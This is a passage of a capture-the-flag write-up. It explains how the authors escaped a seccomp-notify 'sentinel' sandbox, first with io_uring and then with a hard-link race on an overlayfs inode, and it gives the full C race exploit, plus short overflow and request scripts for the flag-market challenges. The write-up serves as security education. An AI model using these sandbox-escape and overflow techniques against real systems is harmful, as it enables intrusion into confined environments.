if(fetchFlagStat(&flagDev,&flagIno)==false){
SETSECCOMPRESP(resp,-EACCES,-1,0);
break;
}
if(fileStat.st_dev==flagDev && fileStat.st_ino==flagIno){
close(tmpFd);
if((req->data.nr==__NR_open && (tmpFd = open(FAKEFLAGPATH,req->data.args[1],req->data.args[2]))==-1) ||
(req->data.nr==__NR_openat && (tmpFd = openat(AT_FDCWD,FAKEFLAGPATH,req->data.args[2],req->data.args[3]))==-1) ||
(req->data.nr==__NR_openat2 && (tmpFd = syscall(__NR_openat2,AT_FDCWD,FAKEFLAGPATH,openHow,req->data.args[3]))==-1)){
if(req->data.nr==__NR_openat2)
free(openHow);
SETSECCOMPRESP(resp,-errno,-1,0);
break;
}
}
addFd.id = req->id;
addFd.flags = SECCOMP_ADDFD_FLAG_SEND;
addFd.srcfd = tmpFd;
addFd.newfd = 0;
if(req->data.nr==__NR_openat2){
addFd.newfd_flags = openHow->flags&O_CLOEXEC;
free(openHow);
}
else
addFd.newfd_flags = req->data.args[req->data.nr==__NR_open?1:2]&O_CLOEXEC;
if(ioctl(seccompFd,SECCOMP_IOCTL_NOTIF_ADDFD,&addFd)==-1){
close(tmpFd);
if(errno == ENOENT)
continue;
else{
//in case addFd+notif_send failed, we have to explicitly inform the child that the syscall somehow failed
SETSECCOMPRESP(resp,-EACCES,-1,0);
break;
}
}
close(tmpFd);
continue;
```
The code that intercepts the open syscalls opens the file that our process requested, and then uses `fstat` to get its inode and device number and the inode and device number of the flag file. If it detects that the inode/device numbers of the file we're trying to open are the same as those of the flag it gives us a file descriptor for the fake flag instead of the real flag.
We can't bypass this check with symbolic links because the check uses the inode number of the opened file, which uniquely identifies a file on the target filesystem. We also can't use hard links because two hard links to the same file use the same inode number.
Nevertheless there are a few problems with these checks:
* The open handler is buggy because it always uses the current directory of the parent process instead of the current directory of the child process for relative paths. This is unfortunately unexploitable.
* There are other ways to open files on Linux that don't use any of the system calls in the file and therefore completely bypass the sentinel's checks. One such way is to use `io_uring`.
The easiest way to get the flag is to use io_uring to open it and read/write to print it. We used [this example code](https://github.com/axboe/liburing/blob/d431c4960f3ad50d086af4aec54cc3236e82ad8c/test/lfs-openat.c#L27) to open the flag.
`BALSN{l4y1n6_l0w_5eek1ng_0u7_7he_upp3r_pl4c3s_wh3r3_7h3_in0d3_tr4nsp0s3}`
### Sentinel revenge
The second challenge added io_uring and some other flags that would let our process bypass all filtering to the seccomp filter.
```diff
27a28,29
> #define __NR_uselib 134
>
34a37
>
99c102
< BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K,AUDIT_ARCH_X86_64,0,12),
---
> BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K,AUDIT_ARCH_X86_64,0,15),
101,108c104,114
< BPF_JUMP(BPF_JMP | BPF_JGE | BPF_K,0x40000000,10,0),
< BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K,__NR_kill,7,0),
< BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K,__NR_tkill,6,0),
< BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K,__NR_tgkill,5,0),
< BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K,__NR_open,4,0),
< BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K,__NR_openat,3,0),
< BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K,__NR_openat2,2,0),
< BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K,__NR_pidfd_open,1,0),
---
> BPF_JUMP(BPF_JMP | BPF_JGE | BPF_K,0x40000000,13,0),
> BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K,__NR_kill,10,0),
> BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K,__NR_tkill,9,0),
> BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K,__NR_tgkill,8,0),
> BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K,__NR_open,7,0),
> BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K,__NR_openat,6,0),
> BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K,__NR_openat2,5,0),
> BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K,__NR_pidfd_open,4,0),
> BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K,__NR_io_uring_setup,3,0),
> BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K,__NR_io_setup,2,0),
> BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K,__NR_uselib,1,0),
440a447,449
> case __NR_io_uring_setup:
> case __NR_io_setup:
> case __NR_uselib:
442d450
< //shouldn't reach here
```
After reading the flag for the first challenge we had an idea that the intended solution might be related to overlayfs. The challenge runs the sentinel and our process inside a Docker container where the home directory is in an overlayfs.
```yaml
version: '3'
volumes:
storage{instanceId}:
driver: local
driver_opts:
type: overlay
o: lowerdir={guestHomeDir},upperdir={os.path.join(instancePath,'upper')},workdir={os.path.join(instancePath,'work')}
device: overlay
services:
sentinel{instanceId}:
build: ./
volumes:
- storage{instanceId}:/home/sentinel/
stdin_open : true
```
The flag and fake flag are located in the lower directory of the overlay. The reason why the usage of overlayfs is interesting is that according to overlayfs's documentation, inode on a filesystem can change.
```
“inode index”
Enabled with the mount option or module option “index=on” or with the kernel config option CONFIG_OVERLAY_FS_INDEX=y.
If this feature is disabled and a file with multiple hard links is copied up, then this will “break” the link. Changes will not be propagated to other names referring to the same inode.
```
We can test this experimentally inside the container by opening the flag file for writing, or creating a hard link to it.
```
$ stat flag
File: flag
Size: 73 Blocks: 8 IO Block: 4096 regular file
Device: 71h/113d Inode: 258445 Links: 2
Access: (0777/-rwxrwxrwx) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2022-09-03 00:51:42.520444587 +0000
Modify: 2022-09-03 00:43:39.888165286 +0000
Change: 2022-09-03 00:54:26.782354260 +0000
Birth: 2022-09-03 00:43:39.888165286 +0000
$ ln flag work/flag2
$ stat flag
File: flag
Size: 73 Blocks: 8 IO Block: 4096 regular file
Device: 71h/113d Inode: 777888 Links: 2
Access: (0777/-rwxrwxrwx) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2022-09-03 00:51:42.520444587 +0000
Modify: 2022-09-03 00:43:39.888165286 +0000
Change: 2022-09-03 21:24:33.806769856 +0000
Birth: 2022-09-03 21:24:33.802769793 +0000
```
There is a small race window between the sentinel reading the inode number of the file our process is trying to open and the inode number of the flag. If we can change the inode number of the flag during that window, we can get the sentinel to let us open the real flag. Creating a hard link is an easy way to change the inode nubmer without sending a notification to the sentinel. In order to make the race more reliable we can list the parent process's `/proc/[pid]/fd` to figure out when the server has opened the flag file.
`BALSN{rem3mb3r_m3_70_0n3_wh0_l1v35_th3r3_1t_0nc3_wa5_4_7ru3_cl0n3_0f_m1n3}`
```c
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <limits.h>
#include <pthread.h>
#include <signal.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/wait.h>
#define fatal(...) err(EXIT_FAILURE, __VA_ARGS__)
#define fatalx(...) errx(EXIT_FAILURE, __VA_ARGS__)
struct linux_dirent {
unsigned long d_ino;
off_t d_off;
unsigned short d_reclen;
char d_name[];
};
#define BUF_SIZE 1024
static int _open(char *path, int flags, mode_t mode)
{
return syscall(SYS_open, path, flags, mode);
}
static int _link(char *oldpath, char *newpath)
{
return syscall(SYS_link, oldpath, newpath);
}
static int getdents(int dirfd, char *buf, size_t size)
{
return syscall(SYS_getdents, dirfd, buf, size);
}
static pthread_barrier_t barrier;
static void *link_thread(void *unused)
{
int dirfd = open("/proc/1/fd", O_RDONLY);
if (dirfd < 0) {
fatal("open /proc/1/fd");
}
pthread_barrier_wait(&barrier);
for (;;) {
bool seen_six = false;
bool seen_seven = false;
char buf[BUF_SIZE];
int nread = getdents(dirfd, buf, BUF_SIZE);
if (nread == -1) {
fatal("getdents");
}
for (long bpos = 0; bpos < nread;) {
struct linux_dirent *d = (struct linux_dirent *) (buf + bpos);
if (d->d_name[0] == '6') {
seen_six = true;
} else if (d->d_name[0] == '7') {
seen_seven = true;
}
bpos += d->d_reclen;
}
if (lseek(dirfd, 0, SEEK_SET) < 0) {
fatal("lseek");
}
if (seen_six && seen_seven) {
_link("/home/sentinel/flag", "/home/sentinel/work/flag2");
}
}
return NULL;
}
static void do_stat(char *path)
{
struct stat statbuf;
if (stat(path, &statbuf) < 0) {
fatal("stat");
}
printf("%s: st_dev: %lu, st_ino: %lu, st_size: %lu\n", path, statbuf.st_dev, statbuf.st_ino, statbuf.st_size);
}
#define NUM_THREADS 8
int main(void)
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
pthread_barrier_init(&barrier, NULL, NUM_THREADS + 1);
pthread_t threads[NUM_THREADS];
for (int i = 0; i < NUM_THREADS; i++) {
if (pthread_create(&threads[i], NULL, link_thread, NULL) < 0) {
fatal("pthread_create");
}
}
pthread_barrier_wait(&barrier);
for (int i = 0; i < 1000; i++) {
int flagfd = _open("/home/sentinel/flag", O_RDONLY, 0);
if (flagfd < 0) {
fatal("open flag");
}
char buf[100] = {0};
ssize_t read_ret = read(flagfd, buf, sizeof(buf));
if (read_ret < 0) {
fatal("read flag");
}
if (read_ret != 17) {
write(1, buf, read_ret);
exit(0);
}
close(flagfd);
}
}
```
### Flag market 1
The setup is two docker containers. The first one runs two TCP services. The one that contains the flag for this challenge just sends the flag to any client that connects on port 31337.
The seccond one contains a proxy for the service for the flag of flag market 2. So the goal is to make the proxy connect to the wrong port.
The proxy parses the request as follows:
```
__isoc99_sscanf(s: &request, format: "%s /%s HTTP/1.1", &method, &path))
```
Obviously, path is much smaller than request and is immediatly followed by port on the stack. So the solution is just to overflow into it:
```
from pwn import *
p = connect("flag-market-us.balsnctf.com", 22906)
p.sendline("GET /" + "a"*0x180+"31337 HTTP/1.1\r\n")
p.interactive()
```
## Smart contract
### Cairo reverse
- Look for cairo decompiling tools
- Find https://github.com/FuzzingLabs/thoth
- Find the redacted constant
- Flag
## Misc
### Welcome
...
### Flag market 2
This challenge consists of a webserver that returns the flag if the request contains all the required parameters, HTTP methods, .... Most importantly, the body must be a UTF-8 string consisting of U+0 through U+255. However, the request must be done through a proxy which disallows requests larger than 1023 bytes or so. (The proxy also does some stuff that would be relevant for the intended solution but are irrelevant to this one.) Since percent encoding the required body ends up in a request that is too large, we have to use a different encoding for the body such as multipart/form-data.
```
import requests
pad = "".join(chr(c) for c in range(256))
r = requests.request("SPECIAL_METHOD_TO_BUY_FLAG", "http://flag-market-us.balsnctf.com:31193/buy_flag?card_holder=M3OW/ME0W&card_number=4518961863728788&card_exp_year=2022&card_exp_month=10&card_cvv=618&card_money=133731337", files=(("padding", (None, pad)),))
print(r.text)
```